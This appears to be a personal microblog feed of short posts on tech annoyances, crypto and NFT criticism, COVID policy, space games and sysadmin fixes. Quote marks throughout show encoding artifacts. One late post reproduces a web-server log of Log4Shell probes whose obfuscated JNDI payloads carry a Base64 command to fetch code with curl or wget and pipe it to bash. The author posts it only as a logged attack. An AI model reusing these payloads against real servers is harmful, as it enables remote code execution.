I'm a little scared that ยซ@BadLegalTakesยปยน' computer blew up trying to cope with the influx of mentions...
[1] https://twitter.com/badlegaltakes
So TIL that CloudFlare engineers are sociopaths who ยซexpect a search engine and IP geolocationยปยน to tell them which pizzeria to go to.
[1] https://blog.cloudflare.com/geoexit-improving-warp-user-experience-larger-network/
I mean... imagine calling yourself a software engineer and then thinking, yeahย ยซthis rubegolderbergian shitยปยน is better than ยซcron(8)ยปยฒ ๐.
[1] https://blog.cloudflare.com/building-scheduling-system-with-workers-and-durable-objects/
[2] https://linux.die.net/man/8/cron
From the shut-up-and-take-my-money-department:N95 elastomeric respirator with CO2 monitor (DEFCON badge).(by: ยซ@andrewshumateยปยน, via: ยซ@violetblueยปยฒ, ยซjwzยปยณ)
[1] https://twitter.com/andrewshumate/status/1550246700220141568
[2] https://twitter.com/violetblue/status/1555131111231041536
[3] https://www.jwz.org/blog/2022/08/respirator-with-co2-monitor/
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ยซYet another reminderยปยน that if you've put your data in the clown^W cloud it will be handed over to law enforcement (or anyone putting in a ยซminimal amount of effort to impersonate someone law enforcementยปยฒ adjacent) without your consent, or knowledge.If you don't want information leaked, don't share it.
No matter what, the ยซwork has to be doneยปยน.
[1] https://www.stonekettle.com/2022/07/democracy-harder.html
The only way that there hasn't been a house-cleaning at the CDC is tacit approval of the administration of the absolute shit-show they've made of the COVID-19 pandemic.> Reporter: you changed CDC covid transmission maps specifically for telling people when to mask up and that time is right now so why aren't you doing that?CDC Director: that's not my job. ยซhttps://twitter.com/WalkerBragman/status/1551311560160722947ยปยนโ Violet Blueยฎ (@violetblue)ย ยซJuly 25, 2022ยปยฒLiterally can't think of any other reason these people still have jobs in service of public health.> CDC Director Walensky misquoted CDC guidance before telling the public that covid symptoms are how to know if you're contagious.Fact: The estimates for asymptomatic transmission are 60% (that's 6 of 10 infected people; pre-Omicron). ยซhttps://twitter.com/WalkerBragman/status/1551304638195957760ยปยณโ Violet Blueยฎ (@violetblue)ย ยซJuly 25, 2022ยปโดStay safe out there friends.ย Go read Violet's ยซPandemic Roundupยปโต.
[1] https://twitter.com/WalkerBragman/status/1551311560160722947
[2] https://twitter.com/violetblue/status/1551392745704394752?ref_src=twsrc%5Etfw
[3] https://twitter.com/WalkerBragman/status/1551304638195957760
[4] https://twitter.com/violetblue/status/1551397147425116160?ref_src=twsrc%5Etfw
[5] https://www.patreon.com/posts/pandemic-roundup-69375517
โ In-Reply-To: 07/23/2022 @21:46
This bit amused me for a little too long...
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โ In-Reply-To: 07/23/2022 @17:57
Followup-to: ยซhttps://www.going-flying.com/thoughts/1658613442.htmlยปยนThe soundtrack is really good.ย I keep getting Nobuo Uematsu / Yasunori Mitsuda vibes which might be the some of the highest praise out of me for VGM.
[1] https://www.going-flying.com/thoughts/1658613442.html
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I'm a handful of hours in and ยซStrayยปยน is really good.ย Shows what you can do with *atmosphere *and *design *instead of heavy handed exposition.ย The desire to explore and try things is more intuitive than most tutorials and the cold open is a clear and emotional explanation of your goal.The controls and the platforming are really good and exploration is rewarding with back story tidbits, views and adorable places to take a nap.
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I think this one is my favorite Josh Hawley run...ย ยซviaยปยนย Secondary ๐คฃ at the ยซreaction shotยปยฒ.
[1] https://twitter.com/The_Mal_Gallery/status/1550289866411634689
[2] https://twitter.com/dprzygoda/status/1550287028029476866
โ In-Reply-To: 07/12/2022 @17:16
So yeah, after ยซwhiningยปยน about how bad Grafana's alerting system is and how I was about to rage-write some Icinga checks... Yeah.. I did it.ย I replaced a whole suite of rules with a 262 line Python script.I also went and replaced a bunch of Azure Function Monitor rules and alerts with a few calls to check_http.
[1] https://www.going-flying.com/thoughts/1657660599.html
Easily in the top 5 best Babylon 5 episodes.
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This.
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Read Violet's ยซweekly cyber newsletterยปยน. ย Lots of shitty consumer crap busy narcing on you and those around you to the feds.
[1] https://www.patreon.com/posts/cybersecurity-19-69282593
I lusted after the After Dark Screensavers as a kid and now you can play with them ยซright in your browserยปยน!ย I didn't realize how much ยซamazing artworkยปยฒ Tomoya Ikeda did for the early Macintosh.
[1] https://archive.org/details/AfterDark_mac
[2] https://blog.gingerbeardman.com/2021/12/16/tomoya-ikeda-macintosh-artist/
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Can we please get on with the project of feeding Facebook feet-first into a chipper-shredder?ย ยซThe world would be so much of a better placeยปยน.Though seriously... who the hell is still using Facebook?
Corporate America is so mind-bogglingly out of touch it is embarrassing.
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ยซClimate change makes techno-scam that helps cause climate change unprofitableยปยน, marketing machine goes brrr while line goes sad trombone.
[1] https://www.jwz.org/blog/2022/07/texas-is-now-too-hot-for-bitcoin-mining/
Alerting in Grafana is so trash that I'm seriously about to write Nagios/Icinga plugins to just watch values from InfluxDB. ย They should just throw the alert system in the trash and let some software fit for purpose do the work.
These EBL LiPo 9V batteries seem to have no protection in them so if I don't get to them fast enough I have to recover them before their charger will agree to charge them. ย Not recommended.
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I think it's super great that the demoscene is still alive and strong producing ยซrad stuff like thisยปยน.ยซsourceยปยฒ
[1] https://demozoo.org/parties/4444/
[2] https://demozoo.org/graphics/309529/
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I miss the days when a ยซmonopoly didn't controlยปยน what I could do with my computer... and in such a rank amateur fashion.
[1] https://developer.apple.com/documentation/safariservices/safari_web_extensions
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I love ยซthisยปยน, though I kinda wish it had a bigger screen and talked to a bluetooth keyboard instead of having a tiny rubber one.
One of my favorite features of my RSS transmogrifier is that it prefaces any tweet, quote tweet, or retweet of a user that has `core.user_results.result.has_nft_avatar` set to True with the following HTML:<img src="https://ssl.ub3rgeek.net/images/nftbro.png"><br><h1>NFT BRO ALERT</h1><br>If it wasn't so funny I'd just killfile the tweets.
All I wanted was to re-wire 4 outlets in the front room... ย after a solid day of working I have 2 re-wired and about 1/2 of the rats nest of other things that were sharing that circuit cut out.ย
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Some of the options inside Outlook are downright insane these days. ย I can't believe that they paid people to work on these.
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So based on previous experience with both a ยซrandom eBay batteryยปยน and an ยซiFixit batteryยปยฒ, about a year and 100 cycles is what you can expect before you start getting Service Recommended.Time to order another sketchy eBay battery then!
[1] https://www.going-flying.com/thoughts/1599790606.html
[2] https://www.going-flying.com/thoughts/1622814354.html
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Ooh!ย Another ยซBig Panda Tiny Dragonยปยน book for pre-order you say?ย ยซA signed copy is available you sayยปยฒ?ย TAKE MY MONEY *PLEASE*.
[1] https://www.jamesnorbury.com
[2] https://linktr.ee/jamesnorbury
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If there was ever a reason to dance with jubilation at the crypto world burning other than fraudsters losing their ill-gotten gains I think ยซtaking the foot slightly off the pedal speeding us to an inhospitable planetยปยน would be a good one.
[1] https://twitter.com/jwz/status/1542930303232122880
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I feel like not enough people realize the lesson ยซhereยปยน...
[1] https://www.penny-arcade.com/comic/2022/07/01/gom-jabbar
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ยซA Declaration of Independence From The United States Supreme Courtยปยน
From the *sounds-too-much-like-common-sense* department:> โ No maskย โ No vaxโ No con> Should you start going to business conferences again? ยซhttps://www.computerworld.com/article/3665053/should-you-start-going-to-business-conferences-again.htmlยปยน via ยซ@computerworldยปยฒ & ยซ@sjvnยปยณ I've made three business trips this year, and I'll be doing more. But, should you? No, you probably shouldn't. ยซ#COVID19ยปโดโ Steven J. Vaughan-Nichols (@sjvn) ยซJune 30, 2022ยปโตโ Violet Blueยฎ (@violetblue) ยซJune 30, 2022ยปโถ
[2] https://twitter.com/Computerworld?ref_src=twsrc%5Etfw
[3] https://twitter.com/sjvn?ref_src=twsrc%5Etfw
[4] https://twitter.com/hashtag/COVID19?src=hash&ref_src=twsrc%5Etfw
[5] https://twitter.com/sjvn/status/1542590425520807937?ref_src=twsrc%5Etfw
[6] https://twitter.com/violetblue/status/1542594186058248192?ref_src=twsrc%5Etfw
ยซThisยปยน.
[1] https://www.stonekettle.com/2022/06/when-good-men-do-nothing.html
From the *screaming-internally* department:ยซhttps://twitter.com/textfiles/status/1541743031954677761ยปยน
[1] https://twitter.com/textfiles/status/1541743031954677761
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The "Homepage" thing on mobile Firefox is such a garbage fire anti-feature.ย Why did you remove my ability to have my own start page?ย It is almost like the comittee that makes these decisions would rather you not use their browser.ย A pox on your houses.
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Real feels.ย ยซViaยปยน
[1] https://twitter.com/violetblue/status/1540572644126257157
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From the solutions-without-problems department:> This is my basic argument: blockchain does nothing to solve any existing problem with financial (or other) systems. Those problems are inherently economic and political, and have nothing to do with technology. And, more importantly, technology canโt solve economic and political problems. Which is good, because adding blockchain causes a whole slew of new problems and makes all of these systems much, much worse.Via: ยซOn the Dangers of Cryptocurrencies and the Uselessness of Blockchainยปยน
From this *you-damn-kids-today* department:> It now occurs to me that some people are assuming that I cannot possibly be running a dedicated server in this day and age instead of some virtual server. Those folks have never tried to run a collection of files like the ones on textfiles.com and deal with the TOS.โ Jason Scott (@textfiles) ยซJune 23, 2022ยปยนMeet the server that brought *this* website to you.
[1] https://twitter.com/textfiles/status/1539890900985339905
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I keep abusing this ship and it keeps getting me home.
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From the *turtles-all-the-way-down* department:I vote we go ahead and give up on the Web.ย We did it wrong.ย We did it so wrong someone thought it was a good idea to hook a ยซheadless browser up to your browser via WASMยปยน.ย So you have a browser running in a VM delivering draw commands to a JIT compile program running in a VM in your local browser because we stopped just delivering hypertext over the hypertext transfer protocol.ย We truly have forgotten the face of our fathers.
[1] https://blog.cloudflare.com/email-link-isolation/
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From the *are-you-kidding-me* department:> Jun 18 10:34:35 imladris postfix/smtpd[1174295]: NOQUEUE: reject: RCPT from dhcp-thirty.internal.ub3rgeek.net[192.168.196.30]: 550 5.7.1 <smtpclient.apple>: Helo command rejected: Host not found; from=<[REDACTED]> to=<[REDACTED]> proto=ESMTP helo=<smtpclient.apple>I don't know why iOS mail isn't using the FQDN assigned by DHCP to the device (which is what mail on macOS seems to do) but using a FQDN that doesn't resolve and isn't controlled by the user seems amateurish.ย I guess I get to go exempt more stupid behavior from the strict checks in my ยซPostfixยปยน configuration.
RSAC followed San Francisco city covid protocols for the event, which do not follow the science and is why we're in a long, bad, endless surge here -- and SFDPH *does not care*.Also, yes I've been reporting on this for 2 weeks. โ Violet Blueยฎ (@violetblue) ยซJune 17, 2022ยปยน
RSAC branded a 'super spreader event' as attendees share COVID-19 test results ยซhttps://www.theregister.com/2022/06/16/rsa_covid_risk/ยปยฒโ The Register (@TheRegister) ยซJune 16, 2022ยปยณ
[1] https://twitter.com/violetblue/status/1537611031999967232
[2] https://www.theregister.com/2022/06/16/rsa_covid_risk/
[3] https://twitter.com/TheRegister/status/1537555028830994432
From the completely-on-brand-for-both-parties department:
Notorious, convicted scammer hops on board the NFT grift is super peak NFT.
via: ยซjwzยปยน, ยซweb3isgoinggreatยปยฒ
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From the *sometimes-because-physics* department:
I swear I didn't park it that way.
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From the *are-we-sure-Blake-is-sentient* department:
ยซPreach, boysยปยน.
[1] https://www.penny-arcade.com/comic/2022/06/15/sorcelator
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The mailman 3 web frontend sucks so much compared to pipermail (the mailman 2 web frontend). Apparently using static files on disk is gauche these days so of course it has to use a database and an ORM and all this other crap. Anyway, I needed to migrate from SQLite to MariaDB and Django's tools kept triggering the Linux OOM killer so I had to find a way to do it at the database layer. SQLite and MySQL/MariaDB produce slightly incompatible dump formats so after trying to fight with translating a 5GB dump file I found ยซsqlite3-to-mysqlยปยน which Just Worked. If you end up needing to coax some performance out of the trash pile that is Hyperkitty, it *Worked For Me*.
[1] https://github.com/techouse/sqlite3-to-mysql
ยซThis is just one of many examplesยปยน of the *garbage* journalism being published in the New York Times that lead me to cancel my subscription.
I won't even go there to play Wordle.
[1] https://threadreaderapp.com/thread/1534903354274488322.html
You know, if you're looking for some rad stickers to not-so-subtly show off your belief that all human beings are deserving of rights, that allowing a highly virulent, rapidly mutating, mass-disabling and still little-understood disease run rampant is an *awful* idea, and that felines are the superior pet, check out ยซViolet Blue's RedBubbleยปยน shop.
[1] https://www.redbubble.com/people/viblue/shop?asc=u
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CAPCHAs largely don't work but I don't think the answer is to cement a duopoly into infrastructure even further. Hopefully this can be disabled on the device. I'd rather have a CAPCHA (as shit as they are) than have Cloudflare and Apple chat with each other to show me a website.
https://blog.cloudflare.com/eliminating-captchas-on-iphones-and-macs-using-new-standard/
Not going to lie, watching inventory management in Escape From Tarkov tickles a very specific part of my brain.
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The progression to the scumbag web suddenly makes sense to me.
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I shouldn't be so smug at the repeated failures of The Scumbag Web, after all they are still ruining the planet and people don't deserve to be led to ruin by scammers... but the memes are so... *chefs kiss*
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I was dialing in some control mapping for my HOTAS and I discovered that the Avenger Titan is a pretty tough little ship.
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Set home to Microtech this wipe in ยซStar Citizenยปยน and it's amazing how every city in the game so far has such a distinct feel at night...
[1] https://robertsspaceindustries.com/enlist?referral=STAR-TWZ2-KTD5
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As if handling something like 10% of the HTTP/S traffic of the global Internet isn't enough reason to avoid Cloudflare, they've ยซcome up with another reasonยปยน. Buying into the scumbag web is just shoveling more energy to keep the grift alive.
[1] https://blog.cloudflare.com/ea-web3-gateways/
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It would be cool if there were audio player items in Star Citizen. You could have a radio on your ship and players could sign up to stream audio into the 'verse which could show up as channels on the radio. The implementation would be reasonably simple, just have the client tune in an icecast stream and wire it into a positional audio source. Imagine how cool it would be to walk onto someone's ship and hear music playing somewhere in the distance?
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How to fix social media. What we need is this one simple trick: A site that scrapes, collates, and de-dups your friends' posts on every social media site, and then shows you the union of all of those posts as one feed. This is the only way to break... ยซhttps://www.jwz.org/blog/2022/05/how-to-fix-social-media/ยปยนโ jอฬ ฬฆฬชอฬอฬฬพฬอ wฬงฬงฬณฬชฬอฬอฬพอขอ zฬขฬฬอฬบฬฬฉฬฬฝฬฬอฬฬฬออ (@jwz) ยซMay 10, 2022ยปยฒ
[1] https://www.jwz.org/blog/2022/05/how-to-fix-social-media/
[2] https://twitter.com/jwz/status/1524120432777076737?ref_src=twsrc%5Etfw
Welp, good to see ยซStar Citizen 3.17ยปยน off to a... ยซsomewhat predictable startยปยฒ.
Weather on a moon is pretty darn cool though...
[1] https://robertsspaceindustries.com/enlist?referral=STAR-TWZ2-KTD5
At the risk of sounding a bit too much *old-man-shouts-at-cloud*, computer UI peaked around 2004 and has only gotten worse since.
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ยซVioletBlue'sยปยน Cybersecurity and Pandemic newsletters have been absolute must-reads for me and are available over on ยซher patreonยปยฒ and on top of being well written, well researched, and information-dense, they rarely miss in the meme department. Behold... *chef's kiss*. Perfection. *No notes*.
[1] https://twitter.com/violetblue/
[2] https://www.patreon.com/join/violetblue
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For the grift to keep working the ยซgrifters gotta griftยปยน.
Make no mistake, Apple's App Store is 100% anti-competitive. I find the whole paradigm to be toxic, forcing wonderful applications into parity with cheap clones and malware smuggled by over-worked censors and scripts doing static analysis. The customer experience is utter dogshit, application discovery is a joke and at any point the shop keeper can come by and *take the product you bought away* from you while still keeping their vig.
Rant inspired by: ยซthisยปยน.
I love ยซevery single thing about thisยปยน. ยซvia @textfilesยปยฒ
[1] https://www.wjstjetset.com/about
[2] https://twitter.com/textfiles/status/1517698317949542400
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Dear ยซUnicode Consortiumยปยน, I support this. I have a mighty need for this.
https://t.co/nGkg3ywmyy -> https://twitter.com/chrissteinplays/status/1517516149361201155/photo/1
I still think the greatest contribution to online culture would be the guillotine emoji ยซhttps://twitter.com/chrissteinplays/status/1517516149361201155/photo/1ยปยฒโ Cสสษชs Sแดแดษชษด (@chrissteinplays) ยซApril 22, 2022ยปยณ
ยซvia @GreatDismalยปโด
[2] https://twitter.com/chrissteinplays/status/1517516149361201155/photo/1
[3] https://twitter.com/chrissteinplays/status/1517516149361201155?ref_src=twsrc%5Etfw
[4] https://twitter.com/GreatDismal/
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Do Smart Playlists not work on the Music app on iOS? It looks like they only update on sync? I must be missing something...
Did not expect 2022 to be a year that included replacing a capstan motor in a cassette deck that is almost as old as me but here we are...
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The only NFTs I am likely to support!
(ยซsource, maybe?ยปยน)
[1] https://www.reddit.com/r/teefies/comments/smxdd8/cute_nfts/
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I miss having a Radio Shack around, being able to get bits to make cables was so much easier back then. That being said, do you think this is still MFi certified? ๐
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I like Safari well enough, and even though Firefox has largely gone to shit I'd still rather use it over Chrome or any of its derivatives.
ยซDon't surrender to amoral techbros and oligarchsยปยน.
Today we are on a mission to find out which fan is making a ticking noise...
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Why can't I *disable* these? "For You" is the least useful section of any app. Stop wasting my time with it.
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The ยซpiece by Ken Whiteยปยน and the ยซpiece by Michael Hobbesยปยฒ drive home a lot of my thoughts on the pearl clutching *OMG CANCEL CULTURE* handwaving that is going on.
[1] https://popehat.substack.com/p/our-fundamental-right-to-shame-and
[2] https://michaelhobbes.substack.com/p/panic-on-the-editorial-page
So it looks like the Wikimedia Foundation community has officially asked Wikimedia to ยซstop accepting crypto currencies for donationsยปยน. I am glad to hear this and sincerely hope Wikimedia acquiesces. Furthermore I hope that the ยซInternet Archiveยปยฒ takes notice and follows suit. Friends don't let friends destroy the planet.
[1] https://web3isgoinggreat.com/single/2022-04-12-2
Every *single one* of you heathens had better have a working floppy drive or a pox upon your house.
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Matt Gemmell: ยซContent Creationยปยน
Content is fungible, space-filling, placeholder-replacing stuff, and thatโs not even its most offensive connotation. The worst part of โcontentโ is that itโs implicitly relative to its container. Thatโs what content means. The contents of a sandwich are with respect to the bread. The content is just whatโs inside. Itโs probably the most trivialising, demeaning, depressing, surrendering term out there โ but people lay claim to it. People define themselves as makers of it.
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I wholeheartedly agree and feel the same way about *coder/coding*. I am a *programmer* who *writes software*.
[1] https://mattgemmell.com/content-creation/
[2] https://take.surf/2022/04/11/matt-gemmell-content-creation
But ultimately, I say it again: Using Twitter for what we use it now, and with lives and livelihoods at stake, is cookie-dough-hat-in-a-subway-car insane.But we knew this a decade ago.โ Jason Scott (@textfiles) ยซApril 7, 2022ยปยน
[1] https://twitter.com/textfiles/status/1511911398640701440?ref_src=twsrc%5Etfw
Every time I see a thread on Twitter I end up thinking 'good lord this would have been better as a blog post'.
I thought ยซthis was a great talkยปยน by Paul Eggert, the Coordinator for the Time Zone database your computer likely uses... One of the things I took away was that you never quite foresee your own success and the decisions you make early on in a project are often with you for the entire life of the project.
[1] https://framatube.org/w/3EGcA7hVNGmemHB4d7arwi
Well I decided to create a SIMPLE visual representation of the Flu vs Covid Original vs BA2. Looking at death as well as ยซ#LongCovidยปยน. This is designed for a non-scientific audience, so those disputing exactitude, this is a general overview. ยซ#CovidExplainedยปยฒ ยซ#MaskUpยปยณ ยซ#CovidIsntOverยปโด ยซpic.twitter.com/geb2H9I9jQยปโตโ ID_Geek (@RogueVictorian) ยซApril 4, 2022ยปโถ
[1] https://twitter.com/hashtag/LongCovid?src=hash&ref_src=twsrc%5Etfw
[2] https://twitter.com/hashtag/CovidExplained?src=hash&ref_src=twsrc%5Etfw
[3] https://twitter.com/hashtag/MaskUp?src=hash&ref_src=twsrc%5Etfw
[4] https://twitter.com/hashtag/CovidIsntOver?src=hash&ref_src=twsrc%5Etfw
[6] https://twitter.com/RogueVictorian/status/1510779126587789320?ref_src=twsrc%5Etfw
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So I ยซdecided a while backยปยน that UniFi Video was no longer fit for purpose and that when I finally upgrade from 802.11ac I'll probably choose another vendor for my WiFi as well.
Turns out, they're busy adding more reasons.
So I've been a *mostly* happy ยซ@Ubiquitiยปยฒ customer, despite a few hiccups with their Cloud Key Gen 2+ model space heater.And a security breach.That I first found out about from ยซ@briankrebsยปยณ.Against whom Ubiquiti has apparently just filed a lawsuit. ยซhttps://twitter.com/QuinnyPig/status/1508965090019577856/photo/1ยปโดโ Corey Quinn (@QuinnyPig) ยซMarch 30, 2022ยปโต
[1] https://www.going-flying.com/blog/four-years-of-unifi-video.html
[2] https://twitter.com/Ubiquiti?ref_src=twsrc%5Etfw
[3] https://twitter.com/briankrebs?ref_src=twsrc%5Etfw
[4] https://twitter.com/QuinnyPig/status/1508965090019577856/photo/1
[5] https://twitter.com/QuinnyPig/status/1508965090019577856?ref_src=twsrc%5Etfw
I've poked fun at the wider JavaScript ecosystem before, but ยซit just keeps warranting pokingยปยน.
A small reminder that all the JavaScript that I wrote for this website is un-minified^Wobfuscated, BSD Licensed, and has a minimum of external dependancies, all of which are manually updated, and hosted by, me.
[1] https://taoofmac.com/space/links/2022/03/19/0940
Today's jam, wrapped in a mood....
ยซBoys Noize - Mayday (Snowden O.S.T.) (Official Video)ยปยน
[1] https://www.youtube.com/watch?v=49vZhQlAEyk
From the *wish-I-could-be-there* department:ยซPOW: POW X10: A COLOSSAL NIGHT OF SOUND AND VISIONยปยน live now on the ยซDNA Lounge webcast!ยปยฒ
[1] https://www.dnalounge.com/calendar/2022/03-22.html
[2] https://www.dnalounge.com/webcast/video.html
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From the *todays-jam* department:ยซLily Allen - Insincerely Yoursยปยน
[1] https://music.apple.com/us/album/insincerely-yours/836584504?i=836584523
From the *shits-in-your-head* department:
via unsurprisingly unattributed on Tumblr.
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From the *we-are-all-Milton* department:ยซviaยปยน
[1] https://twitter.com/jwz/status/1504260797165309952
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Another hero from my youth, stripped for name recognition and left for dead (links redacted).
The team is thrilled to announce the auctioning of Winamp Original Skin as 1/1 NFT AND the launch of Winamp Foundation!๐ All funds collected will be redistributed to charity projects supporting music & musicians. Curious? [REDACTED] #Winamp^W #NFT^W #crypto^W #nfts^W ยซhttps://twitter.com/winamp/status/1504083229254602752/photo/1ยปยนโ Winamp (@winamp) ยซMarch 16, 2022ยปยฒ
[1] https://twitter.com/winamp/status/1504083229254602752/photo/1
[2] https://twitter.com/winamp/status/1504083229254602752?ref_src=twsrc%5Etfw
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Finally got around to upgrading Sonarr from 2.0 to 3.0. It was a little annoying, they don't seem to ship Debian 11 packages even though it has been out since August 2021. In case it helps someone, the Debian 10 (buster) repository works on 11 (bullseye). If you happen to not catch it during the configure phase it can import your 2.0 configuration but you will want to stop the daemon and copy your config.xml and nzbdrone.db from wherever it is (~/.config/NzbDrone in my case) to the new directory (/var/lib/sonarr) and then start the daemon up.
From this *that-tracks* department, via ยซ@jwzยปยน:
I made a browser extension that changes the word โbillionaireโ to โoligarchโ and, well, itโs about as perfect as I was hoping.ยซhttps://addons.mozilla.org/en-US/firefox/addon/billionaire-oligarch-replacer/ยปยฒยซhttps://chrome.google.com/webstore/detail/billionaire-to-oligarch-r/ealafelnipmdnebociefhhkgoocplidjยปยณ ยซhttps://twitter.com/Noleli/status/1499760828022607877/photo/1ยปโดโ Noah Liebman (@Noleli) ยซMarch 4, 2022ยปโต
[2] https://addons.mozilla.org/en-US/firefox/addon/billionaire-oligarch-replacer/
[4] https://twitter.com/Noleli/status/1499760828022607877/photo/1
[5] https://twitter.com/Noleli/status/1499760828022607877?ref_src=twsrc%5Etfw
Every time I end up having to do something like *for x in $(find . -type f -maxdepth 1 -name \*-header.png); do convert -quality 95 ${x} ${x%.*}.jpg; done*, I wonder how people who don't use the command line get things done... Then I realize things like 9pbaireg.pbz exist and I am sad.
In today's edition of Apple's monopolistic lock-in to the App Store paradigm meets their terrible engineering... How, exactly am I supposed to *find* Safari extensions anymore? You can't *search* for them in the App Store, you can't *browse* a list of them... The best you can do is one of those useless 'For You' pages with like 7 of them that Apple thinks is pretty cool. You can't write you own either, since you need the stupid $100/year developer license to do so.
It's almost like no one wants you to actually *use* your computer anymore.
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From the *this-mornings-jam* department:ยซYoung Sinatra (Logic) - The Spotlight from Undeniableยปยน
Unrelated: how is it 2022 and the iOS selection and cut/copy/paste UIs still a dumpster fire?
[1] https://m.youtube.com/watch?v=6Wxl-m7FrXI
I am more pessimistic than ยซeither Carmack or Atwoodยปยน. I don't see how we can reach level 5 autonomous vehicles without general AI and as such don't think it will happen in my lifetime, much less in 8 years. I look forward to Carmack's charitable contribution.
[1] https://blog.codinghorror.com/the-2030-self-driving-car-bet/
How the fuck do you stop iOS from asking to pair nearby Apple accessories? This is fucking annoying. Surely they can't be so shit as to not let you stop this....
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Well, I already didn't like iCloud Private Relay but ยซnow that I see Cloudflare is involvedยปยน I am even less ok with it. At least 'not paying Apple' is a really easy opt-out mechanism.
[1] https://blog.cloudflare.com/icloud-private-relay/
I love that the ยซbugยปยน to support the ยซATmega328pbยปยฒ, which was released in 2015 according to the datasheet, is still languishing away. Oh, and no one bothered to fix the Debian ยซbugยปยณ either because lol waiting on upstream.
[1] https://savannah.nongnu.org/bugs/index.php?54652
[2] https://www.microchip.com/en-us/product/atmega328pb
[3] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=867235
From the *today-I-learned* department:
The writer and artist behind @bigpandaandtinydragon has put out ยซa bookยปยน. I ordered a copy from ยซBarnes & Nobleยปยฒ in hopes of denying the death star a few of my generic monetary units.
[1] https://www.jamesnorbury.com/book
[2] https://www.barnesandnoble.com/w/big-panda-and-tiny-dragon-james-norbury/1139310650
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Computers have gotten so small, that the only fun thing left is to try to pack it into as small and quiet a package as you can manage. My gaming PC idles at a tepid 10ยฐC over ambient and kisses 42ยฐC (CPU), and 62ยฐC (GPU) over ambient after running Star Citizen for an hour.
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Sometimes flying Internet spaceships makes you want to build things.
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In 2014 I ended up on team Elite: Dangerous and have been happy periodically flying around the Milky Way ever since. It seemed a no-brainer, the Space Game Kickstarter Wars of 2012 only really produced one working game at the time. It was thin, but tens of thousands of light years wide. I don't regret my time in the game and I still have things I want to do.
All that said, thanks to the likes of ยซDrew Wagarยปยน (Salome is remembered...) and an auspiciously timed free fly event, I have spent a few hours in ยซStar Citizenยปยฒ. Only about 10% of it has been floating aimlessly though space, having clipped through a space ship or planet...
There is still something about being able to wake up in a bedroom, walk up a ramp into my ship, turn it on, fly to another planet, lower the ramp, and walk out.
[1] https://www.youtube.com/watch?v=qIE5LePr024
[2] https://robertsspaceindustries.com/enlist?referral=STAR-TWZ2-KTD5
Not going to lie, I've been vibing to the Cyberpunk 2077 soundtrack a bit lately while flying Internet space ships. ยซThisยปยน track hits in the right ways.
So I figured I'd give the ยซStar Citizenยปยน ยซFree Flyยปยฒa try and it is fun. I think it's the only game I've got that runs out of CPU way before GPU though...
[1] https://robertsspaceindustries.com/enlist?referral=STAR-TWZ2-KTD5
[2] https://robertsspaceindustries.com/promotions/3-16-1-Free-Fly
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I've been watching ยซDr Disrespectยปยน and ยซDr Lupoยปยฒ play ยซEscape From Tarkovยปยณ lately and if there way a way to play the base building / inventory management aspect of the game without the first person shooter I'd have already bought it... As it stands, I may still buy it.
[3] https://www.escapefromtarkov.com
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Stories like ยซthisยปยน help remind me that even behind gigantic opaque closed software projects there are human beings just like you and me.
[1] https://devblogs.microsoft.com/oldnewthing/20220208-00/?p=106232
โ In-Reply-To: 02/08/2022 @10:31
Seriously... clean your mouse. This is making me want to vomit...
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My mouse was acting strange... it was filled with flakes of human... When you clean your keyboards, clean your mouse too!
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I kinda want one of these ยซVestaboardยปยน type things, only with a serial port instead of whatever Internet of Things hell is attached... and maybe a little bit less expensive.
[1] https://www.vestaboard.com/home
Thanks to ยซtoday's XKCDยปยน, I pre-ordered ยซWhat If 2ยปยฒ and frankly so should you.
[2] https://xkcd.com/what-if-2/
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It's bad enough I have to ยซdisable signing for all extensions in Firefoxยปยน to run *code I wrote* on software running *on my own damn computer*, but I can't even do that in Safari without ยซpaying a tithe to Appleยปยฒ.
[1] https://extensionworkshop.com/documentation/publish/signing-and-distribution-overview/
From the *totally-not-a-scam* department:
The grift is bigger than you may have thought. ยซhttps://web3isgoinggreat.com/ยปยน
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[1] https://web3isgoinggreat.com/
[2] https://brucesterling.tumblr.com/post/673733847525081088/httpsweb3isgoinggreatcom
Built one of the ยซbigclivedotcom wireless LEDsยปยน. Amusing to use my cell phone as a glorified 555 timer.
[1] https://www.youtube.com/watch?v=g6rI5PJLtx8
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Just spent 20 minutes fighting with exim on Debian 11. Turns out by default it will offer STARTTLS to everyone and even generate a self-signed certificate (that nothing will actually accept) *at runtime* for you. This behavior is not documented either and it caused Grafana to fail at sending any alert e-mails. Since Puppet manages this I had it drop a file in */etc/exim4/conf.d/main/* called *00_exim4-config_killtls* that contained a profanity-laden snarky comment to remind myself and the line "*tls_advertise_hosts =*". Re-running *update-exim4.conf* restores sanity.
Played a little Elite: Dangerous over the long weekend. While I recently started building out an ยซImperial Clipperยปยน and love flying it, I had need to get into a medium pad and so I took my Type-6 out for a spin. Even though it's essentially a space pickup truck it still manages to put a smile on my face as it chews the light years.
[1] https://www.youtube.com/watch?v=B4eNWtlBELQ
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Every now and then I like to make sure my website is still usable in terminal browsers. In this case using an actual serial terminal.
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Nothing like starting the new year with new PCBs.
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I may have fallen into a bit of a hole over breakโฆ
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I'm a little shocked it took this long to notice the Log4J crap hitting my webserver. ๐
195.54.160.149 - - [23/Dec/2021:15:56:36 -0500] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC82OS41NS42NS4xODI6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzY5LjU1LjY1LjE4Mjo0NDMpfGJhc2g=} HTTP/1.1" 403 10643 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC82OS41NS42NS4xODI6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzY5LjU1LjY1LjE4Mjo0NDMpfGJhc2g=}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC82OS41NS42NS4xODI6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzY5LjU1LjY1LjE4Mjo0NDMpfGJhc2g=}"
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From the *you'll-shoot-your-eye-out-kid* department:
ยซhttps://www.mcsweeneys.net/articles/sophocless-a-christmas-storyยปยน
[1] https://www.mcsweeneys.net/articles/sophocless-a-christmas-story
From the *failing-upward* department:
